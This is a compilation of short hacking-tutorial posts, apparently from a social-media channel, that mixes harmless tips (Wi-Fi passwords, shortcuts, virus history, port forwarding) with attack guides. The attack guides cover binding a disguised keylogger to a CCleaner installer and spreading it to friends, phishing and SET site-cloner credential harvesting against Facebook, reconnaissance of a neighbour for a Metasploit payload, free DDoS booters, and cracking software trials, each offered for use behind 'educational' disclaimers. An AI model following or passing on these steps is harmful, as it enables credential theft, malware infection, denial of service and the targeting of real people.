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How To See Passwords for Wi-Fi Networks You\’ve Connected Your Android Device To

How To See Passwords for Wi-Fi Networks You\’ve Connected Your Android Device To

    The trouble comes when you want to actually see the password for one of the networks you connected to. Perhaps you want to connect a second device to a saved Wi-Fi access point, or maybe you\’re with a friend who wants to log in to the same hotspot. But without a way to access the actual passwords that your device has stored, you\’re out of luck.
Thankfully, there are ways around this. If you\’re on Android 10 or higher, you can see Wi-Fi passwords right from your phone\’s settings. However, if you\’re on Android 9.0 Pie or lower, note that you will need to be rooted.
 Method : Android 10 & Up
This first method doesn\’t require root or even an extra app. But it does require that your phone is running Android 10 or higher. If your phone has been updated to this version, I\’ll outline a quick and easy way to see saved Wi-Fi passwords below.
Step 1: Locate Wi-Fi Settings
 
 Currently, there is only one flavor of Android 10, and that\’s the \”Stock Android\” version directly from Google. However, in the near future, manufacturers like Samsung will put their own spin on Android 10 by applying an OEM skin such as One UI, which means the settings menus could be a little different on your phone.
 So first, search your phone\’s Settings menu for the \”Wi-Fi\” submenu. On Stock Android, that\’s located in Settings –> Network & internet. Once you\’ve found the Wi-Fi settings menu, go ahead and select it.
 Step 2: View Wi-Fi Passwords
One inside the Wi-Fi settings page, scroll past the list of available networks and select the \”Saved networks\” option. From there, you\’ll see a list of all the Wi-Fi networks your phone remembers. Select one.
 Now, choose the \”Share\” option towards the top of the screen. You\’ll be asked to scan your fingerprint or face or enter your PIN or password. Upon doing so, you\’ll see a QR code with that represents the network\’s SSID and password. You could scan this with another device using a QR scanner if you wanted, but the password is also listed in plain text beneath the QR code, so you can copy it from there
 Thats it you are done with it. I hope you Guys like this tutorial
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HOW TO HACK FACEBOOK ACCOUNTS USING KEYLOGGER

HOW TO HACK FACEBOOK ACCOUNTS USING KEYLOGGER
STEP 1: Create Server for Hacking Passwords
First of all, for hacking any Facebook account password, we have to create our keylogger server that will run on the victim’s machine, capturing his keystrokes and emailing us the record. The keylogger server building process consists of several steps:
1. First of all download the Keylogger and a good binder. Binders are easily available via a Google search. 
2. Extract the RAR file. Now you will get one folder and three files.
3. Open the Keylogger file. Here you will need a gmail ID and password. For safer use, create a fake Gmail account.
4. Click on server settings as shown. Here, enter the time at which you want to receive reports; it’s always preferable to use a 20 minute timer for receiving files. Click on the Output box to choose the location of the file and give it a name. We recommend using a system process name to make it undetectable, like svchost, or check any process name from your task manager and name it. Other fields are optional.
5. Click on Log and Result Setting. In Log Email Title enter the subject of email like “my keylogger report” or anything else that you you like. Click the last two options that add computer name and add the victim’s name.
6. Now click on “Other Options.” In this section you just have to do one thing. Most hackers prefer warning message POP up, but I prefer keylogger using any message – so unclick the message button. When you bind it with any other software it should not have a warning message attached, otherwise it will be detectable.
7. Finally click on Build Keylogger. You will see your keylogger file at the location that you have chosen in the 4th step. This keylogger server file will be used to bind with other software in Binding Step.
 8. Now your keylogger server is ready for you to hack Facebook accounts. 
Step 2: Extracting the icon file from any installer (resource hacker)
1. Open the resource hacker folder and select the reshacker file.
2. Go to its menu and open any setup file. Suppose we want to attach our keylogger to a Ccleaner setup file. Open the Ccleaner setup with resource hacker. 
3. In the menu, there is one action button. Click on it and then click save all resource.
 4. Save all the resources to the desktop or any other location of your choice.
5. It consists of two files. One is icon file and other is res file. We only need the icon file, so you can delete the other one.
6. That leaves us with the icon of installer file (Ccleaner setup icon).
Step 3: Bind the Keylogger server with any software
1. Go to keylogger folder and open the Binder.
2. Click on the button shown below to add files.
3. Add the keylogger server and the setup software (in our case it’s Ccleaner setup).
4. In the Binder menu, go to Settings. There, select the icon that we have generated in the previous step and set the location of the output file as shown in the figure.
5. Now again go to file’s menu in Binder and click on Bind files.
6. Now your Binded keylogger is ready. You just need to spread it or send it to the victim that is your friend.
Step 4: How to spread the keylogger
1. Now you have one software setup file with a keylogger attached to it. (In our case, we have Ccleaner setup with keylogger attached with it)
2. Spread your keylogger through forums. If you are a member of various forums, use them to spread your keylogger in the form of software posts.
3. Spread it through pendrives or USB hard drives. Suppose a friend asked you for a software, give them the software with the keylogger attached to it on the hard drive. 
Note: you can also attach keyloggers to images, but that can be detectable by antivirus, so we recommend avoiding that route.
Hacking someone’s Facebook account takes more than a few minutes
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Free Masters in Ethical Hacking Advance Course.

 Masters in Ethical Hacking Advance Course. 

WHICH COST AROUND COST $ 2k 
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COPY WITH CREDITS LIMITED EDITION…
Follow the steps

1 install Aircrack-Ng 
 
Let\’s get into monitoring network activity. 
To better understand what kind of activity is taking place on John Smith\’s network, we\’ll use airodump-ng to monitor devices connecting to the network.
 Airodump-ng is available in all popular Linux distributions and will work in virtual machines and on Raspberry Pi installations. 
I\’ll be using Kali Linux to monitor Wi-Fi networks in my area.
Airodump-ng is a part of the Aircrack-ng suite of wireless cracking utilities and can be installed with the apt-get command below.
Command :- 
sudo apt-get install aircrack-ng



Enable Monitor Mode on Your Wireless Adapter 
Connect your wireless network adapter to your computer. Use the ifconfig command to find the name of your wireless adapter. 
It will most likely be named \”wlan0\” or \”wlan1.\”
When you\’ve identified the wireless adapter name, enable monitor mode with the airmon-ng command.
Command :-
sudo airmon-ng start YourAdapterName
Be sure to replace \”YourAdapterName\” with the actual name of your wireless network adapter. 
Using the above command will rename YourAdapterName to \”YourAdapterNameMon,\” so if your wireless adapter was named \”wlan1,\” it will now be seen using the ifconfig command as \”wlan1mon.\” 
This will make it easy to identify which wireless adapters are in monitor mode.
We can now start airodump-ng using the wireless adapter in monitor mode.
The –berlin part defines the amount of time the airodump-ng window will display devices connected to the router. 
By default, devices are displayed for only 120 seconds. For long-term monitoring purposes, we\’ll extend that to some arbitrarily high value.

 ​​3 

Launch Airodump-Ng 
Type the following into a terminal to start airodump-ng.
Command :- 
sudo airodump-ng YourAdapterNameMon
By default, airodump-ng will begin collecting and displaying wireless activity for every Wi-Fi network in your area. 
Let airodump-ng run for a minute or two, and press Ctrl + C to stop scanning.
I\’ll be targetting the \”My-Neighbor\” network, a wireless network I setup and control.
 When you\’ve decided on a network to monitor, take note of the BSSID, CH, and ESSID.
 BSSID is the MAC address of the router we\’ll be monitoring.
 CH is the channel the router is transmitting on. 
ESSID is simply the name of the Wi-Fi network. 
These three values are essential to monitoring one specific router.
To monitor a specific router using airodump-ng, use the below command.
Command :-
airodump-ng –berlin 99999 –bssid -c –essid YourApaterNameMon


Look Up MAC Addresses 
Pay close attention to the STATION column while airodump-ng is running.
​​This is where connecting devices will be displayed. 
In this column, we\’ll see a list of MAC addresses belonging to devices connecting to My-Neighbor\’s router. 
These MAC addresses can be looked up using MAC address databases online. 
Enter the first 6 characters of the MAC address to find the manufacturer of the device.

A Dell or Hewlett-Packard MAC address would be a strong indicator of a Windows computer on the network. 

If many Apple MAC addresses appear in the STATION column, then there are probably MacBook\’s and iPhones connecting to the network. 
In that scenario, you would have to come up with some kind of Apple-specific payload. 
For the remainder of this series, we\’ll focus on targeting Windows computers as Windows is the most popular desktop operating system in the world.
Now, Continue to Part 2 Which will soon be posted here
We\’ve discovered our target\’s real name and gained a general idea of the hardware being used on their home network. 
Armed with this information, we\’re about ready to begin setting up the attack. 
The next part, we\’ll set up our VPS, install Metasploit, and prepare the payload for our intended victim!
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How To Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)

How To Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon) 
#hackingtutorials
Using just a small sticky note, we can trigger a chain of events that ultimately results in complete access to someone\’s entire digital and personal life.
Imagine arriving home one night after work and there\’s a Post-it note on your apartment door with the website \”your-name-here.com\” written on it.
 Someone cautious may not immediately visit the website, but eventually, curiosity might get the best of them. 
Let\’s have some fun exploiting human curiosity and get remote access to our neighbor\’s computer in the process.
For this hack, we\’ll be using a seemingly harmless Post-it note to entice a target user into visiting a website that we control. 
When the target user visits the website, they\’ll be tricked into opening a malicious file which will allow us to perform a variety of attacks on the compromised computer.
 Such an attack may allow hackers to target: 
Coworkers or company executives. 
Employees visiting an attacker-controlled website from a computer inside a corporate network and opening a malicious file may compromise the security of the entire network.
Small businesses. Managers opening malicious files found on attacker-controlled websites may allow the attacker to steal sensitive customer information, install ransomware, or compromise other applications on the device.
Average everyday people. Gaining remote access to a someone\’s computer, attackers could steal personal information to perform identity theft or blackmail the victim into paying a large ransom for stolen data.
Understanding Our Sticky Note Attack 
There are many steps to this attack, so I\’ll first provide a brief overview of the scenario before showing how to put it all together.
The hypothetical victim of this hack will be \”my neighbor in the apartment next door,\” his name is \”John Smith.\” 
The goal is to social engineer John Smith into visiting a website that we control by exploiting the inherent trust we allot to our everyday neighbors.
 Ultimately, we will gain access to a computer in John\’s apartment by tricking him into opening a malicious file.
Since there\’s a lot going on in this attack, I will be breaking this guide up into three parts.
 This first part will cover reconnaissance. 
We\’ll need to gather as much information about John Smith\’s social and digital life to create a website named after him that will really entice him (\”john-smith.com\”). 
As an optional step, we\’ll also gather hardware information about devices connecting to John\’s Wi-Fi network. 
This will help us understand what kinds of devices are in his home.
In the second part of this guide, we\’ll create a payload to run on a Virtual Private Server (VPS) so that it can be downloaded from any computer in the world. 
We\’ll also need to install Metasploit on the VPS, which will be used to interface with and control the compromised machine after our malicious file is opened.
Step 1 

Know Your Target 
Reconnaissance is very important to the success of this hack. 
There are many social engineering angles we can take to trick someone into visiting our evil website. 
For example, targeting our neighbor in the apartment next door would be easy. 
In some apartment buildings and condominiums, we could identify our neighbor\’s name by checking the resident listed on the lobby intercom or their mailbox.
We can also learn their name by creating small talk with them or other people who live or work in the building who might unwittingly divulge personal information about our target.
 People who live in rural areas may have better luck using whitepages to identify names of residents in the house next door. 
In certain parts of the United States, property history may be easily obtainable. 
A parcel, county auditor, or property assessment Google inquiry with the targets corresponding county may produce a searchable database of current and past residents for the target\’s home address.
The goal here is to find something that would interest our victim into visiting the website we control. 
It\’s crucial that we make the website name as irresistible and enticing as possible. 
If all else fails, we can always try \”john-smith-nudes.com\” to get someone\’s attention. 
Even omitting the name and using more of riddle could help the recipient feel like their in the middle of their own mystery film.
​​In extreme cases, we might also learn our target\’s name by rummaging through their trash bins and finding a letter, package, or receipts containing personal information we can use in later stages of this attack. 
In a big city, rummaging through trash bins might not even get a second glance from people.
After learning John Smith\’s name, we can go a step further and use people search engines, like Pipl, to gain some insight into his life. 
Pipl is free and very easy to use. Simply enter your target\’s name and city into the Pipl search bar and within seconds we\’ll be presented with potential information relating to our victim. 
This information may include educational background, phone numbers, relative names, social media accounts, known living addresses, and much more.
During this process, we may find an engaging angle to trick John Smith into visiting our evil website. 
For example, if John was a raging Philadelphia Eagles fan on Instagram, \”john-smith-philly-eagles.com\” would probably be more than enough to spike John\’s curiosity. 
If our neighbor tweeted their horoscope most mornings, \”john-smith-capricorn.com\” would likely be enthralling enough to get him to visit our evil website.
 Step 2 

 Know Your Target\’s Hardware (Optional) 
Identifying devices connecting to John Smith\’s network is also very important to the success of this attack. 
If there are few wireless networks in your area and you have some idea which Wi-Fi network belongs to the victim, it might be possible to passively monitor devices connecting to the Wi-Fi network. 
Monitoring network activity will help us determine the type of attack we will execute in later stages of this hack.
If there are multiple Android devices regularly connecting to the network, we may consider creating a backdoored Android app and social engineering John Smith into installing it.
 Alternately, if there are Dell and Asus devices on the network, it\’s probably safe to assume John Smith is using Windows 10 or Windows 7. 
In that case, we would prepare some kind of Windows-specific payload.
It would also be helpful to know what time of day these devices regularly connect to the Wi-Fi network. 
With this information, we\’ll know when to expect new connections on your VPS and Metasploit session.
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How To Get Free VPN For Port Forwarding on Android

How To Get Free VPN For Port Forwarding on Android 
This Tutorial is Only for Educational Purpose. Please Don\’t Misuse of it. Else This is Your Reponsibility.
Step 1:- Open Browser and Type free-proxy.xyz
Step 2:-Then Unblock ipjetables.net (Some Times it Requires Proxy)
Step 3:-Make A Fake Account Via Temp-Mail
Step 5:- Open Settings and Search VPN
Step 6:-Now Add a VPN
As pptp & put pptp.ipjetable.net
Step 6:-Now Add Password and Username
Now You are Done
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Hacking Any Social Media Account

 Hacking Any Social Media Account 
The first step is to open an account with this Hacking sites 
Sites used:
After opening account with any one of them and logging in
You would see different phishing links there
Copy your preferred one but be warned the links are usually long so use either bit.ly or goo.gl or any other link shorter to shorten it
Then paste it to your victims 
You can convince them by lieing like this
(There is a new site that pays
Log in to get started )
As soon as they log in their log in email and password will be sent to you 
That\’s it !!! 
You have successfully hacked a Facebook/Any social media account
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How to Install and Run Kali Linux on any Android Smartphone

 How to Install and Run Kali Linux on any Android Smartphone 
 First of all download and install Linux Deploy App in your android from the Google Play Store.
 Now After downloading and installing it launch the app in your device and there tap on download button. 
 Now there tap on Distribution option and change it to Kali Linux instead of Linux.
Now scroll up and click on the Install button at the top of there.
 Now wait for the download to complete time taken can be vary depending upon your internet speed.
 Now download and install VNC Viewer App in your android from the Play Store.
 Now launch the app and fill up the settings as displayed on the screenshot below. 
 Now click on Connect button there.
 Thats it you are done, Now Kali linux gets installed in your android and you can enjoy the dummy hacking environment in your android.
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TOP 11 VIRUSES OF ALL TIME

TOP 11 VIRUSES OF ALL TIME:
1.The Elk Cloner virus was written for Apple DOS 3.3 and spread via  
floppy disks; it displayed a short poem and was activated on its 50th use. The  
Elk Cloner virus was the first PC virus. 
2. The Brain virus was the first worldwide virus to also spread by floppy  
disks, and the two brothers in Pakistan who wrote the virus did not intend for  
it to be a destructive virus, yet despite their intentions, it materialized into one. 
3.The Melissa virus was based on a Microsoft Word Macro and was designed  
to infect e-mail messages by sending infected word documents to the first 50  
people in a user’s outlook list. The Melissa virus was reported to cause more  
than $50 million in damages to other computer users and businesses. 
4. The I Love You virus infected millions of computers in a single day sim- 
ply because the attachment stated “I Love You” and people’s curiosity caused  
them to open the infected attachment, which, when opened, would copy  
itself in different files on the user’s hard drive and also download a file that  
stole passwords from the victim. 
5. The Code Red virus was directed to attack the U.S. White House as a  
distributed denial-of-service attack, but it was stopped before it could effect  
the attack. However, this virus did infect thousands of computers and caused  
over $1 billion dollars in damages. A second version, Code Red II, attacked  
Windows 2000 and Windows NT systems. 
6. The Nimda virus was one of the fastest propagating viruses to enter the  
Internet, and its targets were Internet servers; it really worked as a worm and  
caused significant damage to many users. 
7. The Slammer virus in 2003 was a Web server virus that also roamed  
through the Internet at incredible speed. Many corporations in both the  
financial services and airline industries suffered significant losses estimated  
in the range of several billion dollars. 
8. The My Doom virus used a denial-of-service attack script and sent search  
engine requests for e-mail addresses, causing companies such as Google to  
receive millions of requests and severely slow down services and, in some  
cases, to close down companies. 
9. Worms do not change other programs, but a worm is a computer pro- 
gram that has the ability to replicate itself from computer to computer and to  
cross over to network connections. It is important to stress that while worms  
do not change other programs, they may carry other code that does change  
programs, such as a true virus.14 
10. In 2007, the “Storm” worm used social media approaches to fool com- 
puter users into situations where they loaded botnets into their computers,  
and Bruce Schneier reported that millions of computers were infected by this  
worm, which carried virus code as well. 
11. A Trojan horse is a program that masquerades as a legitimate applica- 
tion while also performing a covert function. Trojan horse programs do not  
propagate on their own, so they rely on users to accept the executables from Historical Reference Points in the Computer Industry 11 
untrusted sources. Consequently, this becomes a major social engineering  
problem
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A BRIEF HISTORY AND KNOWLEDGE (INTRODUCTION) ABOUT COMPUTER VIRUSES

A BRIEF HISTORY AND KNOWLEDGE (INTRODUCTION) ABOUT COMPUTER VIRUSES
A computer virus is computer code that is designed to insert itself into other  
software and, when executed, is able to replicate itself and propagate with the  
host software or file. Viruses can be designed to damage the infected host by  
corrupting files, stealing hard disk space or CPU time, logging keystrokes  
to steal passwords, creating embarrassing messages, and other activities all  
performed without the computer user’s approval or knowledge. Early viruses  
were boot sector viruses and spread by computer users sharing infected  
floppy disks. Other viruses attached to e-mail or a part of the body of an  
e-mail, and when the code viruses were executed, a message with the virus  
embedded was sent to other mail clients. In some cases, the code could be  
designed to provide the scripts access to the user’s address book and could,  
in turn, propagate and use those addresses to further propagate the virus- 
infected message. Other viruses were designed to be attached to data files  
such as word documents or spreadsheets. These scripts are visual basic code  
that can execute when the file is loaded, and once the virus has attached itself  
to an application, the code in the virus will run every time the application  
runs
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How To Help Protect Against Trojans

 How To Help Protect Against Trojans
━━━━━━━━━━━━━
🔗 Here are some DOs and DON\’Ts to help protect against Trojan malware. First, the DOs :
🔗 Computer security begins with installing and running an internet security suite. Run periodic diagnostic scans with your software. You can set it up so the program runs scans automatically during regular intervals.
🔗 Update your operating system’s software as soon as updates are made available from the software company. Cybercriminals tend to exploit security holes in outdated software programs. In addition to operating system updates, you should also check for updates on other software that you use on your computer.
🔗 Protect your accounts with complex, unique passwords. Create a unique password for each account using a complex combination of letters, numbers, and symbols.
🔗 Keep your personal information safe with firewalls.
🔗 Back up your files regularly. If a Trojan infects your computer, this will help you to restore your data.
🔗 Be careful with email attachments. To help stay safe, scan an email attachment first. 
🔗 A lot of things you should do come with a corresponding thing not to do — like, do be careful with email attachments and don’t click on suspicious email attachments. Here are some more don’ts.
🔗 Don’t visit unsafe websites. Some internet security software will alert you that you’re about to visit an unsafe site, such as Norton Safe Web.
🔗 Don’t open a link in an email unless you’re confident it comes from a legitimate source. In general, avoid opening unsolicited emails from senders you don’t know.
🔗 Don’t download or install programs if you don’t have complete trust in the publisher.
🔗 Don’t click on pop-up windows that promise free programs that perform useful tasks.
🔗 Don’t ever open a link in an email unless you know exactly what it is.
━━━━━━━━━━━━━
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Terminologies used in penitration testing

Terminologies used in penitration testing:
Exploit
An exploit is the means by which an attacker, or pen tester for that matter, takes  
advantage of a flaw within a system, an application, or a service. An attacker  
uses an exploit to attack a system in a way that results in a particular desired  
outcome that the developer never intended. Common exploits include buffer  
overflows, web application vulnerabilities (such as SQL injection), and con- 
figuration errors.
Payload
A payload is code that we want the system to execute and that is to be selected  
and delivered by the Framework. For example, a reverse shell is a payload that  
creates a connection from the target machine back to the attacker as a Win- 
dows command prompt (see Chapter 5), whereas a bind shell is a payload that  
“binds” a command prompt to a listening port on the target machine, which  
the attacker can then connect. A payload could also be something as simple as  
a few commands to be executed on the target operating system.
Shellcode
Shellcode is a set of instructions used as a payload when exploitation occurs.  
Shellcode is typically written in assembly language. In most cases, a command  
shell or a Meterpreter shell will be provided after the series of instructions  
have been performed by the target machine, hence the name.
Listener
A listener is a component within Metasploit that waits for an incoming connection  
of some sort. For example, after the target machine has been exploited, it may  
call the attacking machine over the Internet. The listener handles that connec- 
tion, waiting on the attacking machine to be contacted by the exploited system.
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HOW TO INSTALL ANY APP THAT IS NOT AVAILABLE IN YOUR COUNTRY

HOW TO INSTALL ANY APP THAT IS NOT AVAILABLE IN YOUR COUNTRY
1. Install an app that isn\’t available in your country
If you\’re really keen to get an app that\’s not available in your country then you can still get your hands on it by using a VPN. \’VPN\’ means \’virtual private network\’. It gives you a secure internet connection via private networks in locations outside of your current one.
Basically, a VPN service can make it look like you\’re accessing the internet from a different location. It\’s important that you choose a credible VPN. We regularly feature VPN deals in our AndroidPIT Store if you\’re looking for a good one at a low price.
Once you\’ve downloaded a VPN, select the country whose Play Store you want to access in the VPN app, get the VPN up and running, then open the Play Store app. It should land on the Play Store ghomepage of the country you selected. Now you can get the app you desire.
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SSH (Secure Shell)

SSH (Secure Shell)
SSH is a protocol similar to telnet which also facilitates connection to remote hosts for communication. However, SSH has an upper hand over telnet in terms of security. Telnet was primarily designed to operate within the local network and hence does not take care of security. On the other hand SSH manages to offer total security while connecting to remote hosts on a remote network or Internet.
Akin to telnet SSH also uses a client software and requires a username and Password to establish connection with the remote host.
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How to stress/boot/DDoS for free in 2020! [UNLIMITED ATTACKS

 How to stress/boot/DDoS for free in 2020! [UNLIMITED ATTACKS
This is a very quick and simple tutorial on how to stress/boot/DDoS for free in 2020 without using your own connection! No rocket science really and I don\’t encourage anyone to use it against other people since it\’s just very annoying, but it can be used for stress-testing your own server for example! 
Educational Purpose STRICTLY 
Go and register : 
Go to booter panel by clicking on circular icon 
Once you\’re there all you have to do is fill in the IP and method you want, and the time in seconds, max time you can use on the free plan is 5 minutes (so 300 seconds)
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How To Hack Facebook Account Using Kali Linux (For Educational Purposes Only)

Hello, everyone ,
Today i am going to show you one method to hack Facebook account for you , using Kali-Linux.
It is like phishing method but don\’t worry , you don\’t need to do all that heavy steps again,it is very simple all the stuffs(steps) is done by Kali Linux ….
NOTE- THIS IS FOR EDUCATIONAL PURPOSE ONLY, PLEASE DON\’T DO ANYTHING ILLEGAL.
Requirements:
1- Laptop or Computer.
2- Net connection with speed.
3- Kali Linux installed system or bootable pendrive with kali linux .
Process:
1) Open terminal using \” CTRL + ALT + T \”
2) type \” sudo root \” command (if you are not a root user)
3) enter your password
4) do all three steps if you are
not a root user.
Now,main steps 
5) go to \” Application \” on the top left hand side
6) then go to \” kali linux \”
7) then go to \” Exploitation tools\”
8) then go to \” social engineering toolkit \”
9) then go to \” setoolkit \”
Now it will show you some options –
10) press \” 1 \” for Social Engineering Attacks
11) press \” 2 \” for Website Attect Vector
12) press \” 3 \” for Credential Harvesting Attect method
13) press \” 2 \” for Site Cloner
14) now it will ask you \” Harvester/Tabnabbing \” 
15) now, open new terminal by pressing \” CTRL + ALT + T \”
16) type \” ifconfig \” it will help you to show your ip address
17) copy your ip address and paste after Harvester/Tabnabbing : XXX.XX.XX.XXX
18) then it will ask a website name- enter – \” http://www.facebook.com \”.
*19) now the most important step
        now change your XXXXXXXXXX (number or ip-address) to link like http://www.facebook.com/pages/for/hack……etc.
by using services like ADF.LY , Goo.gl, Binbox, etc.
20) now , you send that ip address to the victim/tragets by email /WhatsApp / mail.
21)when every victim/targeted user click on your link & enter id & passwords….it will save in your system in  
Home–> Root–> var –> www–> xyz.txt
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How To Combine Two Wifi Connections To Get A Faster Internet

How To Combine Two Wifi Connections To Get A Faster Internet
You have more than one active internet connections and you are using only one at a time, while the other is resting? Don\’t let it be lazy. Combine them all to get combined internet speed. Say you have two connections of 1 Mbps each, you just can make 1+1=2. This can work regardless of the type of the connections, i.e. it may be wired, wireless or mobile communication.
Method 1 of 4: Combining LANs
Steps:
1. Turn everything on your computer, modems (in case of DSL).
2. Connect them on the relative ports.
3. Establish Connections. Dial or do whatever you need to do to establish an Internet connection and test each one by one separately. If all good proceed to the next step.
4. While each one is active and connected, navigate to the \”Network Devices\” folder of your computer. It usually stays under control panel.
Windows 8 or Windows 8.1, press Windows D to navigate to the desktop, and the rest is the same as windows 7 below.
For Windows 7 and Vista, Click the network icon on the task bar-> then click \\ Open Network and Sharing Center\\ . Then click \\ Change Adapter settings\\
5. Review the Connections. Review the window showing all of your network connections.
6. Drag and select. Drag and select Active LAN (Wired, Wireless or DSL Modem) connections.
7. Right click on one of the selected-> click \”Bridge Connections.\” Then wait and a network bridge with different icon will appear. You might have to provide administrative right.
*Method 2 of 4: Load Balancing*
If you connect 2 internet connection to Windows at a time, the operating system automatically selects one connection as primary and uses others as as failover connection mode. You can force Windows 7, 8 to use both connections simultaneously using a simple trick.
Steps:
►Open Network and Sharing Center > Change Adapter Settings
►Go to properties of any of your active Internet connection whether it be LAN, WiFi or 3G/4G.
►Select Internet Protocol TCP/IP Version 4, Open its properties, then go to advanced.
►Uncheck the Automatic Metric and type “15”.
►Repeat same steps on other Internet connections you want to combine.
►Restart your Computer.
Method 3 of 4:Using Connectify Hotspot
Steps:
►Download the Connectify Dispatch
►Install the Dispatch software.
►Run. Then click \”Start Dispatch\”.
►Connect all your modems or network connections
Method 4 of 4: Using Speedify
Steps:
►Speedify is a new cloud service from the makers of Connectify, that lets you easily combine multiple WiFi, 3G/4G, and wired networks to create one faster and more reliable Internet connection.
►Visit [www.speedify.com] to begin your free, 3-day trial. Once your trial has started, you will receive an email with your login and a download link for the Speedify client software (for Mac OS X+ & PC)
►Install the Speedify software and then simply enter the email and password that you received from Speedify to log into the Speedify server netwok
►Click the \’Speed Me Up\’ button to log in. Speedify will automatically connect you to the nearest and fastest Speed Server to ensure that you get the maximum speed and reliability of your Internet connections combined.
►Now, just ensure that you have two or more WiFi, mobile broadband, or wired Internet connections active on y our computer, and Speedify does the rest:
►Connect all your modems or network connections.
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How To Hack or Reset Trial Period of Any Software and Use Them Lifetime in PC

How To Hack or Reset Trial Period of Any Software and Use Them Lifetime in PC 
Follow the steps for running this Software in your Computer.
#Hacks
①. Download “Runasdate” Software
②. Install Runasdate Software in your Computer PC.
③. Now run any trial software on your @devilbadhacker computer and write down the date of installation on your PC.
④. When your trial version gets over. Just Right Click on your software and select Runasdate.
Now Runasdate software extend the trial period of your software by increasing trial period. With the help of this software, you can use any software on your PC for a lifetime, without spending money
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Laptops & Computers Shortkey

Laptops & Computers Shortkeys

Ctrl+A – Select All
Ctrl+B – Bold
Ctrl+C – Copy 
Ctrl+D – Fill Down
Ctrl+F – Find
Ctrl+G – Goto
Ctrl+H – Replace
Ctrl+I – Italic
Ctrl+K – Insert Hyperlink
Ctrl+N – New Workbook
Ctrl+O – Open
Ctrl+P – Print
Ctrl+R – Fill Right
Ctrl+S – Save
Ctrl+U – Underline
Ctrl+V – Paste
Ctrl W – Close
Ctrl+X – Cut
Ctrl+Y – Repeat
Ctrl+Z – Undo
F1 – Help
F2 – Edit
F3 – Paste Name
F4 – Repeat last action
F4 – While typing a formula, switch between absolute/relative refs
F5 – Goto
F6 – Next Pane
F7 – Spell check
F8 – Extend mode
F9 – Recalculate all workbooks
F10 – Activate Menu bar
F11 – New Chart
F12 – Save As
Ctrl+: – Insert Current Time
Ctrl+; – Insert Current Date
Ctrl+\” – Copy Value from Cell Above
Ctrl+’ – Copy Formula from Cell Above
Shift – Hold down shift for additional functions in Excel’s menu
Shift+F1 – What’s This?
Shift+F2 – Edit cell comment
Shift+F3 – Paste function into formula
Shift+F4 – Find Next
Shift+F5 – Find
Shift+F6 – Previous Pane
Shift+F8 – Add to selection
Shift+F9 – Calculate active worksheet
Shift+F10 – Display shortcut menu
Shift+F11 – New worksheet
Ctrl+F3 – Define name
Ctrl+F4 – Close
Ctrl+F5 – XL, Restore window size
Ctrl+F6 – Next workbook window
Shift+Ctrl+F6 – Previous workbook window
Ctrl+F7 – Move window
Ctrl+F8 – Resize window
Ctrl+F9 – Minimize workbook
Ctrl+F10 – Maximize or restore window
Ctrl+F11 – Inset 4.0 Macro sheet
Ctrl+F1 – File Open
Alt+F1 – Insert Chart
Alt+F2 – Save As
Alt+F4 – Exit
Alt+Down arrow – Display AutoComplete list
Alt+’ – Format Style dialog box
Ctrl+Shift+~ – General format
Ctrl+Shift+! – Comma format
Ctrl+Shift+@ – Time format
Ctrl+Shift+# – Date format
Ctrl+Shift+$ – Currency format
Ctrl+Shift+% – Percent format
Ctrl+Shift+^ – Exponential format
Ctrl+Shift+& – Place outline border around selected cells
Ctrl+Shift+_ – Remove outline border
Ctrl+Shift+* – Select current region
Ctrl++ – Insert
Ctrl+- – Delete
Ctrl+1 – Format cells dialog box
Ctrl+2 – Bold
Ctrl+3 – Italic
Ctrl+4 – Underline
Ctrl+5 – Strikethrough
Ctrl+6 – Show/Hide objects
Ctrl+7 – Show/Hide Standard toolbar
Ctrl+8 – Toggle Outline symbols
Ctrl+9 – Hide rows
Ctrl+0 – Hide columns
Ctrl+Shift+( – Unhide rows
Ctrl+Shift+) – Unhide columns
Alt or F10 – Activate the menu
Ctrl+Tab – In toolbar: next toolbar
Shift+Ctrl+Tab – In toolbar: previous toolbar
Ctrl+Tab – In a workbook: activate next workbook 
Shift+Ctrl+Tab – In a workbook: activate previous workbook
Tab – Next tool
Shift+Tab – Previous tool
Enter – Do the command
Shift+Ctrl+F – Font Drop down List
Shift+Ctrl+F+F – Font tab of Format Cell Dialog box
Shift+Ctrl+P – Point size Drop down List
Ctrl + E – Align center
Ctrl + J – justify
Ctrl + L – align  
Ctrl + R – align right
Alt + Tab – switch applications
Windows + P – Project screen
Windows + E – open file explorer
Windows + D – go to desktop
Windows + M – minimize all window s
Windows + S – search
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How To Configure Port Forwarding to Create Internet-Connected Services

How To Configure Port Forwarding to Create Internet-Connected Services 
#hackingtutorials
Ports allow network and internet-connected devices to interact using specified channels. 
While servers with dedicated IP addresses can connect directly to the internet and make ports publicly available, a system behind a router on a local network may not be open to the rest of the web. 
To overcome this, port forwarding can be used to make these devices publicly accessible.
Networked services and apps running on various devices make use of ports at specific numbers as a means to initiate connections and establish communications. 
Different ports can be used simultaneously to easily separate and parse different types of traffic or requests. 
Ports are generally associated with specific services, such that a client can connect to a server on a specific port and assume that the server will accept a connection at that port and respond appropriately.
Some commonly used ports are shown below.
21: FTP (File Transfer Protocol)
22: SSH (Secure Shell)
23: Telnet (Teletype Network)
25: SMTP (Simple Mail Transfer Protocol)
80 : HTTP (Hypertext Transfer Protocol)
194: IRC (Internet Relay Chat)
443: HTTPS (HTTP Secure)
While ports make it simple to identify and address specific requests, port-numbering conventions are a standard, not a rule. 
Ports can be used for whatever a person may choose to host on them, so long as the connection between the client and server on a given port uses a consistent protocol.
In web browsers, non-standard HTTP ports can be specified following a colon at the end of an IP address or URL in order to attempt to load HTTP content over that port.
 If a web server is running on a local machine on port 8080 rather than the conventional port 80, it would be possible to access this in a web browser by navigating to localhost:8080 or 127.0.0.1:8080, but if either of the two aforementioned addresses were entered without the \”:8080\” suffix, the same page would not load.
While any open port should allow connection attempts, in order for these attempts to be made, a client device needs network access to the device. 
While this isn\’t necessarily an issue for a server connected to the internet directly or a connection across a local area network, it becomes problematic when one attempts to access a specific port on a device which is protected by a router or firewall.
Most home or office networks are connected to the internet through a router. 
A router is able to manage internet usage for a network and centralize the traffic at one IP address. 
All requests and packets are sent through the router before being distributed back to the respective devices which made the original requests. 
By default, routers do not handle incoming requests on specific ports. If one attempts to connect over SSH to a router, the router has no way to handle that request, nor does it know who on the network to forward the requests to. 
This problem can be solved by configuring port forwarding within the router.
 Step 1 

Identifying Your Router & Control Panel 
Routers generally provide an HTTP administration panel on port 80. 
This control center can be accessed by using the local network IP of the router, 192.168.0.1 or 192.168.1.1, in most cases. 
